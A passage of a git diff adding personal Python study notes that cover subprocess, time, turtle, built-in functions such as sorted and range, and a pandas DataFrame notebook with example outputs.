正数:表示缓冲区大小 + - 负数:表示使用系统默认的缓冲区大小。 +- stdin, stdout, stderr:分别表示程序的标准输入、输出、错误句柄 +- preexec_fn:只在 Unix 平台下有效,用于指定一个可执行对象(callable object),它将在子进程运行之前被调用 +- shell:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。 +- cwd:用于设置子进程的当前目录。 +- env:用于指定子进程的环境变量。如果 env = None,子进程的环境变量将从父进程中继承。 + +创建一个子进程,然后执行一个简单的命令: + +```py +>>> import subprocess +>>> p = subprocess.Popen('ls -l', shell=True) +>>> total 164 +-rw-r--r-- 1 root root 133 Jul 4 16:25 admin-openrc.sh +-rw-r--r-- 1 root root 268 Jul 10 15:55 admin-openrc-v3.sh +... +>>> p.returncode +>>> p.wait() +0 +>>> p.returncode +``` + +这里也可以使用 `p = subprocess.Popen(['ls', '-cl'])` 来创建子进程。 + +Popen 对象方法 +- poll(): 检查进程是否终止,如果终止返回 returncode,否则返回 None。 +- wait(timeout): 等待子进程终止。 +- communicate(input,timeout): 和子进程交互,发送和读取数据。 +- send_signal(singnal): 发送信号到子进程 。 +- terminate(): 停止子进程,也就是发送SIGTERM信号到子进程。 +- kill(): 杀死子进程。发送 SIGKILL 信号到子进程。 +实例 + +```py +import time +import subprocess + +def cmd(command): + subp = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,encoding="utf-8") + subp.wait(2) + if subp.poll() == 0: + print(subp.communicate()[1]) + else: + print("失败") + +cmd("java -version") +cmd("exit 1") +输出结果如下: + +java version "1.8.0_31" +Java(TM) SE Runtime Environment (build 1.8.0_31-b13) +Java HotSpot(TM) 64-Bit Server VM (build 25.31-b07, mixed mode) + +失败 +``` + + + + + + +--- + +# module `Time` + +```py +import time + +for x in range(2, 6): + print('Sleep {} seconds..'.format(x)) + time.sleep(x) # "Sleep" for x seconds +print('Done!') + +``` + + +--- + +# module `Turtles` + +Each turtles is an independent object, an `instance`, of the `Turtle type (class)`. + +```py +import turtles + +--- +// Methods: +forward +left +right + +// Attributes +color (black) +heading +position (0.0) +width (2pcs) +--- + + +// create a py object +wn = turtle.Screen() # create a graphics window Screen, assign wm to Screen +alex=turtle.Turtle() # create a turtle named alex + + +# distance +alex.forward(50/-50) +alex.backward(100) + +# angle +alex.left(120/-120) +alex.right(10) + +# color +wm.bgcolor("lightgreen") +alex.color("blue") # color (black) +alex.fillcolor("pink") + +alex.pensize(3) # set the width of her pen (2pcs) + +wn.exitonclick() # wait for a user click on the canvas + + +# pen location +alex.up() +alex.forward(100) # this moves alex, but no line is drawn +alex.down() + +alex.penup() +alex.pendown() +tess.stamp() # leave an impression on the canvas + +# Every turtle can have its own shape. +The ones available “out of the box” are arrow, blank, circle, classic, square, triangle, turtle. +alex.shape("turtle") + + +# speed up or slow down the turtle’s animation speed. +Speed settings: 1 (slowest) to 10 (fastest). +but Speed 0: turn off animation and go as fast as possible. +alex.speed(10) + +1. + dist = 5 + tess.up() # this is new + for _ in range(30): # start with size = 5 and grow by 2 + tess.stamp() # leave an impression on the canvas + tess.forward(dist) # move tess along + tess.right(24) # and turn head + dist = dist + 2 + +2. draw a hexagon + for i in range(6): + dijkstra.forward(100) + dijkstra.left(360/6) + wn.exitonclick() + +3. + wm=turtle.Screen() + bob=turtle.Turtle() + + bobc=input("input the color") + bobf=int(input("input the length of the side")) + bobs=int(input("input the number of the side")) + + bob.color(bobc) + bob.begin_fill() + for i in range(bobs): + bob.forward(bobf) + bob.left(360/bobs) + bob.end_fill() + +4. + wn = turtle.Screen() + lovelace = turtle.Turtle() + + # move the turtle forward a little so that the whole path fits on the screen + lovelace.penup() + lovelace.forward(60) + + # now draw the drunk pirate's path + lovelace.pendown() + current_heading = 0 + for angle in [160, -43, 270, -97, -43, 200, -940, 17, -86]: + # we use .left() so that positive angles are counter-clockwise + # and negative angles are clockwise + current_heading = (current_heading + angle) % 360 + lovelace.left(angle) + lovelace.forward(100) + + # the .heading() method gives us the turtle's current heading in degrees + print("The pirate's final heading was", current_heading) + + wn.exitonclick() + +``` + +ref: +https://docs.python.org/2/library/turtle.html#turtle.heading + +- Turtle motion + - Move and draw + - forward() | fd() + - backward() | bk() | back() + - right() | rt() + - left() | lt() + - goto() | setpos() | setposition() + - setx() + - sety() + - setheading(angle) | seth(angle) + - home(none): Move turtle to the origin – coordinates (0,0) – and set its heading to its start-orientation +```py +>>> tp = (60,30) +>>> turtle.setpos(60,30) # 60,30 +>>> turtle.setpos((60,30)) # 60,30 +>>> turtle.setpos(tp) # 60,30 +>>> turtle.setx(10) # 10,30 +>>> turtle.sety(10) # 10,10 +>>> turtle.setheading(90) +>>> turtle.heading() # 0,0 +``` + - circle() + - dot() + - stamp() + - clearstamp() + - clearstamps() + - undo() + - `speed(integer)`: 1 = slowest; 10 = very fast; 0 = no animation, fastest. + - Tell Turtle’s state + - `position(none) | pos(none)`:Return the turtle’s current location (x,y) + - `towards(x, y=None)`: Return the angle between the line from turtle position to position specified by (x,y), depends on the turtle’s start orientation which depends on the mode - “standard”/”world” or “logo”). + - x: a number or a pair/vector of numbers or a turtle instance + - y: a number if x is a number, else None + - `xcor(none)`: Return the turtle’s x coordinate. + - `ycor(none)`:Return the turtle’s y coordinate. + + ```py + >>> turtle.goto(10, 10) + >>> turtle.pos() # (10, 10) + >>> turtle.towards(0,0) # 225.0 + >>> turtle.xcor() # 10 + >>> turtle.ycor() # 10 + ``` + + - `heading(None)`: Return the turtle’s current heading (value depends on the turtle mode, see mode()) + + ```py + >>> turtle.left(67) + >>> turtle.heading() + 67.0 + ``` + - `distance(x, y=None)`: Return the distance from the turtle to (x,y), the given vector, or the given other turtle, in turtle step units. + - x: a number or a pair/vector of numbers or a turtle instance + - y: a number if x is a number, else None + + ```py + >>> turtle.home() + >>> turtle.distance(30,40) + 50.0 + >>> turtle.distance((30,40)) + 50.0 + >>> joe = Turtle() + >>> joe.forward(77) + >>> turtle.distance(joe) + 77.0 + ``` + + - Setting and measurement + - degrees() + - radians() +- Pen control + - Drawing state + - pendown() | pd() | down() + - penup() | pu() | up() + - pensize() | width() + - pen() + - isdown() + - Color control + - color() + - pencolor() + - `fillcolor(colorstring)` + - `fillcolor(colorstring)` + - `fillcolor((r, g, b))` + + - Filling + - fill() + - `begin_fill(None)`: Remember the starting point for a filled polygon + - `end_fill(None)`: Close the polygon and fill with the current fill color + ```py + bob.color("red") + bob.begin_fill() + bob.end_fill() + ``` + - More drawing control + - reset() + - clear() + - write() +- Turtle state + - Visibility + - showturtle() | st() + - hideturtle() | ht() + - isvisible() + - Appearance + - `shape(shapename)`: ‘arrow’, ‘triangle’, ‘classic’, ‘turtle’, ‘circle’, or ‘square’ + - resizemode() + - shapesize() | turtlesize() + - settiltangle() + - tiltangle() + - tilt() +- Using events + - onclick() + - onrelease() + - ondrag() + - mainloop() | done() +- Special Turtle methods + - begin_poly() + - end_poly() + - get_poly() + - clone() + - getturtle() | getpen() + - getscreen() + - setundobuffer() + - undobufferentries() + - tracer() + - window_width() + - window_height() + +Methods of TurtleScreen/Screen +- Window control + - bgcolor() + - bgpic() + - clear() | clearscreen() + - reset() | resetscreen() + - screensize() + - setworldcoordinates() +- Animation control + - delay() + - tracer() + - update() +- Using screen events + - listen() + - onkey() + - onclick() | onscreenclick() + - ontimer() +- Settings and special methods + - mode() + - colormode() + - getcanvas() + - getshapes() + - register_shape() | addshape() + - turtles() + - window_height() + - window_width() +- Methods specific to Screen + - bye() + - exitonclick() + - setup() + - title() + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/other/0.12.1.BuildinFunc.md b/_posts/00CodeNote/language/Python/other/0.12.1.BuildinFunc.md new file mode 100644 index 00000000000..9934f49c7f3 --- /dev/null +++ b/_posts/00CodeNote/language/Python/other/0.12.1.BuildinFunc.md @@ -0,0 +1,464 @@ + +# build in function + +[toc] + + +## `enumerate()` + +- to enumerating items in a sequence. +- It takes a sequence as input and returns a sequence of `tuples`. +- each tuple, the first element is an integer and the second is an item from the original sequence. +- (It actually produces an “iterable” rather than a list, but we can use it in a for loop as the sequence to iterate over.) + +```py +fruits = ['BigBlueberry', 'pear', 'apricot', 'cherry', 'peach'] +for item in enumerate(fruits): + print(item) + # tuple + # (0, 'BigBlueberry') + # (1, 'pear') + # (2, 'apricot') + # (3, 'cherry') + # (4, 'peach') + + print(item[0], item[1]) + # + 0 berry + 1 pear + 2 apricot + 3 cherry + 4 peach + +for idx, fruit in enumerate(fruits): + print(idx, fruit) + 0 berry + 1 pear + 2 apricot + 3 cherry + 4 peach +``` + +--- + +## `int()` + +```py +print(int("100")) +print(int("100", 10)) # same thing, 10 is the default value for the base +print(int("100", 8)) # now the base is 8, so the result is 1*64 = 64 +``` + +--- + +## `max()` +返回给定参数的最大值,参数可以为序列。 + +```py +>>> a='1,2,3,4' +>>> max(a) +'4' + +>>> a=[1,2,3,4] +>>> max(a) +4 + +>>> a=[(1,2),(2,3),(3,4)] #元组 +>>> max(a) +# 如果第一个元素相同,则比较第二个元素,输出最大值 +(3, 4) + +>>> a=[('a',1),('A',1)] +# 按ascii码进行排序 +# ascii 码里按照排列顺序 小 a在 A的后面 +>>> max(a) +('a', 1) + +>>> a=[(1,3),(2,2),(3,1),(3,'b'),('a',1)] +>>> max(a) +('a', 1) + +# 字典 +>>> a={1:2,2:2,3:1,4:'aa'} +>>> max(a) +4 +``` + +--- + +## `range()` + +range() 函数返回的是一个可迭代对象(类型是对象),而不是列表类型, 所以打印的时候不会打印列表。 + +range(stop) + +range(start, stop[, step]) + +- start: 计数从 start 开始。默认 0 +- stop: 计数到 stop 结束,但不包括 stop。 +- step:步长,默认为1。例如:range(0, 5) 等价于 range(0, 5, 1) + + +```py + +>>> list(range(30)) +[0, 1, ..., 30] + +>>> list(range(0, 10, 2)) +[0, 2, 4, 6, 8] + +>>> list(range(0, -10, -1)) +[0, -1, -2, -3, -4, -5, -6, -7, -8, -9] + +>>> list(range(1, 0)) +[] + +range(6, -2,-1) +[6, 5, 4, 3, 2, 1, 0, -1] + + +# 指定区间的值: +>>> for i in range(5,9) : +... print(i) +5 +6 +7 +8 + +# 以指定数字开始并指定不同的增量(甚至可以是负数,有时这也叫做'步长'): +>>> for i in range(0, 10, 3) : +... print(i) +0 +3 +6 +9 + +# 负数: +>>> for i in range(-10, -100, -30) : +... print(i) +-10 +-40 +-70 + + +# 结合range()和len()函数以遍历一个序列的索引,如下所示: +>>> a = ['Google', 'Baidu', 'Runoob', 'Taobao', 'QQ'] +>>> for i in range(len(a)): +... print(i, a[i]) +0 Google +1 Baidu +2 Runoob +3 Taobao +4 QQ + +# 使用range()函数来创建一个列表: +>>> list(range(5)) +[0, 1, 2, 3, 4] + + +import turtle +wn = turtle.Screen() +elan = turtle.Turtle() +distance = 50 +for _ in range(10): + elan.forward(distance) + elan.right(90) + distance = distance + 10 + +``` + +--- + +## `repr()` + +It takes any object as an argument and returns a string representation of the object. + +```py + +For strings: represents whitespace characters with backslash sequences: + + s = '1 2\t 3\n 4' + print(repr(s)) # '1 2\t 3\n 4' +``` + +--- + +## `sorted(list.name, reverse, key)` + +`sorted(listname, reverse=default.False/True, key=default.None)` + +The first optional parameter is a key function. + +`reverse=default False`: +- False: correct order. +- True: the list will be sorted in reverse order. + + +```py + +1. sorted() returns value. return a new list. + + L2 = ["Cherry", "BigBlueberry", "Blueberry"] + L3 = sorted(L2) + + # L3 = ['BigBlueberry', 'Blueberry', 'Cherry'] + # L2 unchanged + + L2.sort() + print(L2) # L2 changed + print(L2.sort()) # return value is None + + +2. + + L2 = ["Cherry", "BigBlueberry", "Blueberry"] + print(sorted(L2, reverse=True)) +``` + +## `key=some_function` + +other than the “natural” or its reverse, to provide an additional parameter, use the `key` parameter +- When pass that function object, it is not automatically invoked. Instead, it is just bound to the formal parameter key of the function sorted. + +```py +>>> word = 'paper' +>>> len(word) +5 + +>>> words = ['banana', 'pie', 'Washington', 'book'] +>>> sorted(words, key=len) +### +# it change +# ['banana', 'pie', 'Washington', 'book'] +# to +# [6, 3, 10, 4] +# and then sorted +### +['pie', 'book', 'banana', 'Washington'] +``` + +the `sorted()` function call the key function once for each item in the list that’s getting sorted. +- It associates `the result returned by function` with `the original value`. +- this code never explicitly calls the absolute function at all. It passes the absolute function as a parameter value to the sorted function. Inside the sorted function, whose code we haven’t seen, that function gets invoked. + + + +```py + +to sort a list of numbers based on absolute value + + L1 = [1, 7, 4, -2, 3] + + def absolute(x): + if x >= 0: return x + else: return -x + + sorted(L1, key=absolute) + # [1, -2, 3, 4, 7] + + sorted(L1, reverse=True, key=absolute)) + # [7, 4, 3, -2, 1] + +It associates "the result returned by function" with "the original value". +- Think of associated values like little post-it notes that decorate the original values. +- The value 4 has a "post-it note 4" +- the value -2 has a "post-it note 2" +- Then the sorted function rearranges the original items in order of the values written on their associated "post-it notes". + + ex_lst = ['hi', 'how are you', 'bye', 'BigBlueberry', 'zebra', 'dance'] + + def second_let(str): + return str[1] + + sorted_by_second_let = sorted(ex_lst, key=second_let) + # give ever string in list a not of its second letter + print(sorted_by_second_let) + + --------------------------------------------------------- + + nums = ['1450', '33', '871', '19', '14378', '32', '1005', '44', '8907', '16'] + + def last_char(x): + return x[-1] + + nums_sorted = sorted(nums,reverse=True, key=last_char) + print(nums_sorted) + + --------------------------------------------------------- + + nums = ['1450', '33', '871', '19', '14378', '32', '1005', '44', '8907', '16'] + nums_sorted_lambda = sorted(nums, reverse=True, key= lambda x:x[-1]) + + +``` + +## `Sort()` + +sorting the keys. + + +```py + +1. Sort the following dictionary based on the keys so that they are sorted a to z. + + dictionary = {"Flowers": 10, 'Trees': 20, 'Chairs': 6} + sorted_keys=sorted(dictionary, key=lambda x:x[0]) + + +2. according to dic value. + + dictionary = {"Flowers": 10, 'Trees': 20, 'Chairs': 6} + sorted_values=sorted(dictionary, reverse=True, key=lambda x:dictionary[x]) + + +3. book letter + + L = ['E', 'F', 'B', 'A', 'D', 'I', 'I', 'C', 'B', 'A', 'D', 'D', 'E', 'D'] + + d = {} + for x in L: + if x in d: + d[x] = d[x] + 1 + else: + d[x] = 1 + + y = sorted(d.keys(), key=lambda k: d[k], reverse=True) + for k in y: + print("{} appears {} times".format(k, d[k])) + + +# now loop through the keys + def g(k): + return d[k] + y =(sorted(d.keys(), key=g, reverse=True)) + for k in y: + print("{} appears {} times".format(k, d[k])) + + +# now loop through the sorted keys + for k in sorted(d, key=lambda k: d[k], reverse=True): + print("{} appears {} times".format(k, d[k])) + +# + def g(k, d): + return d[k] + ks = d.keys() + sorted(ks, key=lambda x: g(x, d)) + sorted(ks, key=lambda x: d[x]) + +# +D appears 4 times +I appears 2 times +A appears 2 times +B appears 2 times +E appears 2 times +C appears 1 times +F appears 1 times +``` + +## 16.5. Breaking Ties: Second Sorting + +the python interpreter will sort the tied items in the same order they were in before the sorting. + +```py + +1. +For numbers: lowest to highest. +For strings: alphabetic order. +For tuples: based on the default sort order of the first elements of the tuples, with ties being broken by the second elements, and then third elements if necessary. + + +tups = [('A', 3, 2), + ('C', 1, 4), + ('B', 3, 1), + ('A', 2, 4), + ('C', 1, 2)] +for tup in sorted(tups): + print(tup) + + +2. +to sort a list of fruit words +first by their length, smallest to largest +then alphabetically to break ties among words of the same length. + +To do that, we have the key function return a tuple whose first element is the length of the fruit’s name, and second element is the fruit name itself. + + + fruits = ['peach', 'kiwi', 'BigBlueberry', 'blueberry', 'papaya', 'mango', 'pear'] + + new_order = sorted(fruits, key=lambda fruit_name: (len(fruit_name), fruit_name)) + # ( len(fruit_name), fruit_name) ) + for fruit in new_order: + print(fruit) + # + kiwi + pear + berry + mango + peach + papaya + blueberry + + +3. to sort it by largest to smallest, then by alphabetical order. + + fruits = ['peach', 'kiwi', 'BigBlueberry', 'blueberry', 'papaya', 'mango', 'pear'] + + # Not only does it sort the words from largest to smallest, but also alphabetical order + new_order = sorted(fruits, reverse=True, key=lambda fruit_name: (len(fruit_name), fruit_name)) + for fruit in new_order: + print(fruit) + # + blueberry + papaya + peach + mango + berry + pear + kiwi + + + 1) add a negative sign in front of len(fruit_name) + # ( -len(fruit_name), fruit_name) ) + # 字数长的在前面 + new_order = sorted(fruits, key=lambda fruit_name: (-len(fruit_name), fruit_name)) + for fruit in new_order: + print(fruit) + + +4. + + weather = {'Reykjavik': {'temp':60, 'condition': 'rainy'}, + 'Buenos Aires': {'temp': 55, 'condition': 'cloudy'}, + 'Cairo': {'temp': 96, 'condition': 'sunny'}, + 'Berlin': {'temp': 89, 'condition': 'sunny'}, + 'Caloocan': {'temp': 78, 'condition': 'sunny'}} + + sorted_weather = sorted(weather, key=lambda w: (w, -weather[w]['temp']), reverse=True) + # ( keys, -temp) + ``` + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/pandaExample.ipynb b/_posts/00CodeNote/language/Python/pandaExample.ipynb new file mode 100644 index 00000000000..a9eac890eb4 --- /dev/null +++ b/_posts/00CodeNote/language/Python/pandaExample.ipynb @@ -0,0 +1,1075 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## note" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "import numpy as np\n", + "import pandas as pd" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "0 [1, 2, 3, 4]\n", + "1 [a, b]\n", + "dtype: object\n", + "\n" + ] + } + ], + "source": [ + "data = [1,2,3,4]\n", + "series1 = pd.Series(data)\n", + "series1\n", + "\n", + "data = [[1,2,3,4],['a','b']]\n", + "series1 = pd.Series(data)\n", + "print(series1)\n", + "print(type(series1))" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "a 1\n", + "b 2\n", + "dtype: int64\n" + ] + } + ], + "source": [ + "data = [1,2,3]\n", + "series1 = pd.Series(data, index=['a','b','c'])\n", + "print(series1['a':'b'])" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "

    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    01234
    01234.05.0
    1123NaNNaN
    \n", + "
    " + ], + "text/plain": [ + " 0 1 2 3 4\n", + "0 1 2 3 4.0 5.0\n", + "1 1 2 3 NaN NaN" + ] + }, + "execution_count": 14, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = [[1,2,3,4,5], [1,2,3]]\n", + "df = pd.DataFrame(data)\n", + "df" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "scrolled": false + }, + "outputs": [ + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    0
    a6
    b12
    \n", + "
    " + ], + "text/plain": [ + " 0\n", + "a 6\n", + "b 12" + ] + }, + "execution_count": 15, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = pd.Series([6,12], index=['a','b'])\n", + "df = pd.DataFrame(data)\n", + "df" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    AB
    0ab
    1612
    \n", + "
    " + ], + "text/plain": [ + " A B\n", + "0 a b\n", + "1 6 12" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = np.array([['a','b'], [6,12]])\n", + "df = pd.DataFrame( { 'A':data[:,0], 'B':data[:,1] } )\n", + "df" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    abFruitName
    0apple10apple
    1mango12mango
    \n", + "
    " + ], + "text/plain": [ + " a b FruitName\n", + "0 apple 10 apple\n", + "1 mango 12 mango" + ] + }, + "execution_count": 19, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = {\"a\": ['BigBlueberry', 'mango'], \"b\": [10,12]}\n", + "df = pd.DataFrame(data)\n", + "df[\"FruitName\"] = df[\"a\"]\n", + "df" + ] + }, + { + "cell_type": "code", + "execution_count": 36, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    a
    a1
    b2
    \n", + "
    " + ], + "text/plain": [ + " a\n", + "a 1\n", + "b 2" + ] + }, + "execution_count": 36, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = [1,2]\n", + "\n", + "df = pd.DataFrame(data)\n", + "\n", + "df.rename(index = {0:\"a\", 1:\"b\"}, inplace=True)\n", + "df.rename(index = str, columns={0:\"A\"}, inplace=True)\n", + "df.columns=[\"a\"]\n", + "\n", + "df" + ] + }, + { + "cell_type": "code", + "execution_count": 42, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " 0 1 2 3 4 5\n", + "0 py1 NaN 8 NaN Game1 NaN\n", + "1 py2 None 9 NaN Game2 NaN\n", + " 0 1 2 3 4 5\n", + "0 NaN py5 NaN Kick NaN Game5\n", + "1 NaN py6 NaN Elbow NaN Game6\n" + ] + }, + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    012345
    0py1NaN8NaNGame1NaN
    1py2None9NaNGame2NaN
    0NaNpy5NaNKickNaNGame5
    1NaNpy6NaNElbowNaNGame6
    \n", + "
    " + ], + "text/plain": [ + " 0 1 2 3 4 5\n", + "0 py1 NaN 8 NaN Game1 NaN\n", + "1 py2 None 9 NaN Game2 NaN\n", + "0 NaN py5 NaN Kick NaN Game5\n", + "1 NaN py6 NaN Elbow NaN Game6" + ] + }, + "execution_count": 42, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "\n", + "data1 = [[\"py1\",\"NaN\", 8, \"NaN\", \"Game1\", \"NaN\"], [\"py2\",\"None\", 9, \"NaN\", \"Game2\", \"NaN\"]]\n", + "\n", + "data2 = [[\"NaN\", \"py5\", \"NaN\", \"Kick\", \"NaN\", \"Game5\"], [\"NaN\", \"py6\", \"NaN\", \"Elbow\", \"NaN\", \"Game6\"]]\n", + "\n", + "df1 = pd.DataFrame(data1)\n", + "\n", + "df2 = pd.DataFrame(data2)\n", + "\n", + "print(df1)\n", + "\n", + "print(df2)\n", + "\n", + "pd.concat([df1, df2])\n", + "\n", + "\n" + ] + }, + { + "cell_type": "code", + "execution_count": 58, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " A B C D\n", + "0 1 4 1 4\n", + "1 2 5 2 5\n", + "2 3 6 3 6\n", + " A C E F\n", + "0 7 1 7 1\n", + "1 8 0 8 0\n", + "2 9 1 9 1\n" + ] + } + ], + "source": [ + "data1 = ({\"A\":[1,2,3], \"B\":[4,5,6],\"C\":[1,2,3], \"D\":[4,5,6]})\n", + "data2 = ({\"A\":[7,8,9], \"C\":[1,0,1],\"E\":[7,8,9], \"F\":[1,0,1]})\n", + "df1 = pd.DataFrame(data1)\n", + "df2 = pd.DataFrame(data2)\n", + "print(df1)\n", + "print(df2)" + ] + }, + { + "cell_type": "code", + "execution_count": 59, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    ABCDEF
    014.014.0NaNNaN
    125.025.0NaNNaN
    236.036.0NaNNaN
    07NaN1NaN7.01.0
    18NaN0NaN8.00.0
    29NaN1NaN9.01.0
    \n", + "
    " + ], + "text/plain": [ + " A B C D E F\n", + "0 1 4.0 1 4.0 NaN NaN\n", + "1 2 5.0 2 5.0 NaN NaN\n", + "2 3 6.0 3 6.0 NaN NaN\n", + "0 7 NaN 1 NaN 7.0 1.0\n", + "1 8 NaN 0 NaN 8.0 0.0\n", + "2 9 NaN 1 NaN 9.0 1.0" + ] + }, + "execution_count": 59, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "pd.concat([df1,df2])" + ] + }, + { + "cell_type": "code", + "execution_count": 60, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    ABCDACEF
    014147171
    125258080
    236369191
    \n", + "
    " + ], + "text/plain": [ + " A B C D A C E F\n", + "0 1 4 1 4 7 1 7 1\n", + "1 2 5 2 5 8 0 8 0\n", + "2 3 6 3 6 9 1 9 1" + ] + }, + "execution_count": 60, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "pd.concat([df1, df2], axis=1, join=\"inner\")" + ] + }, + { + "cell_type": "code", + "execution_count": 93, + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " key value\n", + "0 1 4\n", + "1 2 5\n", + "2 3 6\n", + " key value\n", + "0 3 1\n", + "1 8 0\n", + "2 9 1\n" + ] + }, + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    keyvalue_xvalue_y
    0361
    \n", + "
    " + ], + "text/plain": [ + " key value_x value_y\n", + "0 3 6 1" + ] + }, + "execution_count": 93, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "\n", + "\n", + "\n", + "data1 = ({\"key\":[1,2,3], \"value\":[4,5,6]})\n", + "data2 = ({\"key\":[3,8,9], \"value\":[1,0,1]})\n", + "\n", + "df1 = pd.DataFrame(data1)\n", + "df2 = pd.DataFrame(data2)\n", + "print(df1)\n", + "print(df2)\n", + "\n", + "df1.merge(df2, on='key', how=\"inner\")" + ] + }, + { + "cell_type": "code", + "execution_count": 112, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " A B\n", + "0 1 4\n", + "1 2 5\n", + "2 3 6\n", + " A B\n", + "0 6 1\n", + "1 8 3\n", + "2 9 1\n" + ] + }, + { + "data": { + "text/html": [ + "
    \n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
    A_xBA_y
    01.04NaN
    12.05NaN
    23.06NaN
    3NaN16.0
    4NaN19.0
    5NaN38.0
    \n", + "
